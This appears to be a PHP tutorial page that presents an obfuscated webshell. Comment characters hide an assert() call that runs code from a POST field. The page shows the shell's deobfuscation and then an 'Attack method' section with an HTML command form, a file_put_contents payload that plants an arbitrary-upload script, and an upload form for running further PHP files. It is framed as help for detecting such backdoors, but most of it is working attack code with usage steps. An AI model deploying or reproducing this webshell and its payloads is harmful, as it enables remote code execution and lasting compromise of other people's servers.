Backdoor Trojan with short and hidden code-PHP Tutorial-php.cn

Backdoor Trojan with short and hidden code

WBOY

Release： 2016-07-30 13:29:59

Original

1458 people have browsed it

This article will introduce a backdoor Trojan whose code is very short and very hidden, so that everyone can avoid being hooked by the Trojan when detecting the program.

The content of the file is as follows:

<code><?php
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>./*-<span>/*-*/</span><span>"e"</span>./*-<span>/*-*/</span><span>"r"</span>;
@<span>$_</span>=<span>/*-/</span>*-*<span>/"a"./</span>*-<span>/*-*/</span><span>$_</span>./*-<span>/*-*/</span><span>"t"</span>;
@<span>$_</span>/*-<span>/*-*/</span>(<span>$/</span>*-<span>/*-*/</span>{<span>"_P"</span>./*-<span>/*-*/</span><span>"OS"</span>./*-<span>/*-*/</span><span>"T"</span>}
[<span>/*-/</span>*-*<span>/0/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/2/</span>*-<span>/*-*/</span>-<span>/*-/</span>*-*<span>/5/</span>*-<span>/*-*/</span>]);?></code>

Copy after login

There are many comment characters inserted in the code, which will be difficult to detect if the server's detection program is not rigorous.

After deleting the annotation, the code is as follows:

<code><span><span><?php</span>
@<span>$_</span>=<span>"s"</span>.<span>"s"</span>.<span>"e"</span>.<span>"r"</span>;
@<span>$_</span>=<span>"a"</span>.<span>$_</span>.<span>"t"</span>;
@<span>$_</span>(${<span>"_P"</span>.<span>"OS"</span>.<span>"T"</span>}
[<span>0</span>-<span>2</span>-<span>5</span>]);
<span>?></span></span></code>

Copy after login

The final code actually executed is:

<code><span><span><?php</span>
assert(${<span>"_POST"</span>}[-<span>7</span>]);
<span>?></span></span></code>

Copy after login

It turns out that this backdoor uses the php assert method to execute the program.

<code><span>bool</span><span>assert</span> ( mixed $assertion [, <span>string</span> $description ] )
</code>

Copy after login

assert() checks the specified assertion and takes appropriate action if the result is FALSE.

If the assertion is a string, it will be executed as PHP code by assert().

If the content of $assertion is phpinfo();, the server information will be returned, allowing the attacker to obtain the server information for attack.

After uploading this backdoor, the attacker only needs to create a simple html to execute php statements in the server.
Assume the backdoor file is backdoor.php

<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> back door <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/backdoor.php"</span>></span><span><<span>p</span>></span><span><<span>textarea</span><span>name</span>=<span>"-7"</span><span>style</span>=<span>"width:500px; height:300px"</span>></span><span></<span>textarea</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>

Copy after login

Attack method:
1. To get the server information, you can enter

<code><span>phpinfo()</span>;</code>

Copy after login

2. To create a php that can upload files at will, you can enter

<code>file_put_contents(<span>'hack.php'</span>, <span>'<?php move_uploaded_file($_FILES[\'</span>name\<span>'][\'</span>tmp_name\<span>'], dirname(__FILE__).\'</span>/dest.php\<span>');?>'</span> ,<span>true</span>);</code>

Copy after login

and then create an html to upload files and call hack.php

<code><span><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"></span><span><<span>html</span>></span><span><<span>head</span>></span><span><<span>title</span>></span> upload <span></<span>title</span>></span><span></<span>head</span>></span><span><<span>body</span>></span><span><<span>form</span><span>name</span>=<span>"form1"</span><span>method</span>=<span>"post"</span><span>action</span>=<span>"http://www.example.com/hack.php"</span><span>enctype</span>=<span>"multipart/form-data"</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"file"</span><span>name</span>=<span>"name"</span>></span><span></<span>p</span>></span><span><<span>p</span>></span><span><<span>input</span><span>type</span>=<span>"submit"</span><span>value</span>=<span>"submit"</span>></span><span></<span>p</span>></span><span></<span>form</span>></span><span></<span>body</span>></span><span></<span>html</span>></span></code>

Copy after login

. Then you can upload php files and execute them.

Copyright Statement: This article is an original article by the blogger and may not be reproduced without the blogger's permission.

The above introduces the backdoor Trojan with a short and hidden code, including the relevant content. I hope it will be helpful to friends who are interested in PHP tutorials.